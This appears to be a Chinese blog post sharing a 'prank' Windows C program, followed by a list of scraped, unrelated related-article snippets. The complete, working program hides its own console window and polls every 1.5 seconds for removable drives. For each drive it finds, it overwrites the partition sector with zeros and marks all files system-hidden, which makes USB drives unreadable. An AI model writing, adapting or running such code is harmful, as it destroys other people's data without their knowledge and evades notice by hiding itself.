整人代码,定时检测所有可移动磁盘,若有,修改MBR。下次插入时可使无法读取分区~解决方案是用DiskGenuis等软件恢复MBR。可以自定义时间段~别整太过……有一个缺点,就是U盘被改之后,下一次程序扫描时发现这个设备还会修改MBR.

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
unsigned int  g_TimeList[][2] = {1, 10000000};
unsigned char g_MBR[512];
int  IsOperateTime(void)
{
SYSTEMTIME    SystemTime;
unsigned int  i     = 0;
unsigned int  count = sizeof(g_TimeList) / sizeof(unsigned int) / 2;
unsigned int  TimeNow = 0;
return 1;
GetLocalTime(&SystemTime);
TimeNow = SystemTime.wHour * 60 + SystemTime.wMinute;
for (; i < count; i++)
{
if (TimeNow >= g_TimeList[i][0]
&& TimeNow <= g_TimeList[i][1])
{
return 1; // 当前时间在事件列表内
}
}
return 0;
}
int  ScanUSB(unsigned char  Volumes[], unsigned short  MaxVolumes)
{
char  Volume = 'A';
char  Buffer[200], *p = Buffer;
unsigned int  Count = 0;
GetLogicalDriveStrings(52, Buffer);
while (*p != '\0')
{
if (GetDriveType(p) == DRIVE_REMOVABLE)
{
Volumes[Count++] = *p;
}
p += strlen(p) + 1;
}
return  Count;
}
int  AlterMbr(unsigned char  Volume)
{
HANDLE  hVolume = INVALID_HANDLE_VALUE;
char    VolumeName[10];
unsigned long  ReadLen = 0; // 已写入大小
BOOL           IsSuccess = FALSE;
if (Volume != '\0')
{
sprintf_s(VolumeName, 10, "\\\\.\\%c:", Volume);
hVolume = CreateFile(VolumeName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hVolume != INVALID_HANDLE_VALUE)
{
IsSuccess = WriteFile(hVolume, g_MBR, 512, &ReadLen, NULL);
if (IsSuccess && ReadLen == 512)
{
return 0;
}
}
}
return 1;
}
void  HideAllFiles(unsigned char  Volume)
{
char  Buf[50];
if (Volume != '\0')
{
sprintf_s(Buf, 50, "attrib +s +h %c:\\*", Volume);
system(Buf);
}
}
int main()
{
MSG  Msg;
unsigned char  USBList[26];
SetConsoleTitle("Cpp1 - test - 20140907");
ShowWindow(FindWindow("ConsoleWindowClass", "Cpp1 - test - 20140907"), SW_HIDE);
memset(&Msg, 0, sizeof(MSG));
memset(g_MBR, 0, 512);
g_MBR[510] = 0x55;
g_MBR[511] = 0xAA;
if (SetTimer(NULL, 0x01, 1500, NULL) == 0)
{
MessageBox(NULL, "定时器创建失败。", "错误", MB_OK);
ExitProcess(1);
}
while (GetMessage(&Msg, NULL, 0, 0))
{
switch (Msg.message)
{
case WM_TIMER:
{
if (IsOperateTime() == 1)
{
unsigned int  USBCount = 0;
memset(USBList, 0, 26);
if ((USBCount = ScanUSB(USBList, 26)) != 0)
{
for (unsigned int i = 0; i < USBCount; i++)
{
AlterMbr(USBList[i]);
HideAllFiles(USBList[i]);
}
}
}
break;
}
default:
{
break;
}
}
}
return 0;
}

VC 整人程序 修改分区表相关推荐

  1. 如何创建修改分区表和如何查看分区表

     如何创建修改分区表和如何查看分区表   SQL Server 2005是微软在推出SQL Server 2000后时隔五年推出的一个数据库平台,它的数据库引擎为关系型数据和结构化数据提供了更安全可靠 ...

  2. mfc获取别的计算机是否在线,VC获取并修改计算机屏幕分辨率(MFC)

    //检测当前分辨率 int Width = GetSystemMetrics(SM_CXSCREEN); int Height = GetSystemMetrics(SM_CYSCREEN); DEV ...

  3. VC编写程序在debug下正常,在release下错误

    Debug 和 Release 编译方式的区别 Debug 和 Release 的真正秘密,在于一组编译选项.下面列出了分别针对二者的选项(当然除此之外还有其他一些,如/Fd /Fo,但区别并不重要, ...

  4. VC实现程序重启的做法

    VC实现程序重启的做法 很多时候系统有很多配置项,修改了配置项之后能有一个按钮实现系统重启.所谓重启,就是杀死系统的当前进程,然后重新开一个新进程.下面一个MFC的对话框程序的按钮响应函数说明如何实现 ...

  5. 转:如何解决VC 应用程序无法启动,因为应用程序的并行配置不正确 sxstrace.exe问题...

    如何解决VC "应用程序无法启动,因为应用程序的并行配置不正确 sxstrace.exe"问题 引用链接 http://blog.csdn.net/pizi0475/article ...

  6. ESP32修改分区表

    为什么要修改分区表 项目使用中,我们使用了 一个出厂应用程序 + 两个 OTA 应用程序滚动的分区模式,用于安全的使用 OTA,在 OTA 出现问题时,可以自动回滚到上一个 OTA 应用程序,或者回滚 ...

  7. DbgView软件 查看VC++ MFC 程序的打印信息

    DbgView软件 查看VC++ MFC 程序的打印信息 一.在写VC++ MFC程序的调制过程中,需要跟踪打印信息,但在MFC中用printf不知道在哪里看打印信息,今天介绍一款软件,可以查看对应的 ...

  8. rf中resourceid_解决VC++ MFC程序resource.h头文件中ID重复问题

    解决VC++ MFC程序resource.h头文件中ID重复问题 2018-12-07 一般MFC开发的时候,如果有些资源是从其他工程中移植到本工程的, 而在资源移植的时候都要将对应的资源ID复制到本 ...

  9. c语言vbs,我的vbs整人程序

    源代码,建立一个txt(桌面--右击--新建--文本文档),后缀改为vbs: on error resume next dim WSHshellA set WSHshellA = wscript.cr ...

  10. 微信小程序 修改 顶部电量 时间的颜色

    微信小程序 修改 顶部电量 时间的颜色 onShow: function () {wx.setNavigationBarColor({frontColor: '#ffffff',backgroundC ...

最新文章

  1. OpenCV 【四】————Watershed Algorithm(图像分割)——分水岭算法的原理及实现
  2. 基于HotNet2的扩散传播,竟是“图卷积”的特例
  3. Failed building wheel for netifaces
  4. 使用reactjs做一个CRUD功能
  5. python全栈开发-json和pickle模块(数据的序列化)
  6. java 0xf0_java 中类似js encodeURIComponent 函数的实现案例
  7. 采用rsync实现两台solaris服务之间的文件同步
  8. 弹层,iframe页面
  9. bzoj 1799: [Ahoi2009]self 同类分布(数位DP)
  10. [原]VC被控制时关闭极域电子教室、破解联想硬盘保护系统密码(上)
  11. 服务器自动关闭远程打印服务,实现远程打印的方法:无线网络打印服务器
  12. Focal Loss讲解
  13. 开放式经济系统设计[转载]
  14. 如何使丑陋的Arial看起来好看
  15. Android Canvas画布的详解与使用,以及View的绘画(一)
  16. 频域判断波形_股票价格频域特性
  17. nvme分区选mbr还是guid_硬盘分区不求人:秒懂MBR和GPT分区表
  18. 关于win 10 WLAN连接红叉的问题解决
  19. 什么是链接诱饵,链接诱饵建设思路与作用
  20. 广州app制作:那个手机app制作平台好?

热门文章

  1. p6spy mysql8_P6Spy监控SQL语句及性能测试
  2. 计算机的多媒体信息,多媒体信息
  3. 看单片机原理图-最小系统
  4. 基于FPGA的cameralink编解码测试系统设计
  5. 2017微软校园招聘笔试题
  6. oracle 英文 简历,英文优秀个人简历模板范文
  7. Abaqus有限元分析软件介绍
  8. 搭建Ubuntu下c/c++编译环境
  9. 百度贴吧签到助手php,玩心太大,自己部署一个贴吧签到器
  10. 豆瓣fm android,豆瓣 FM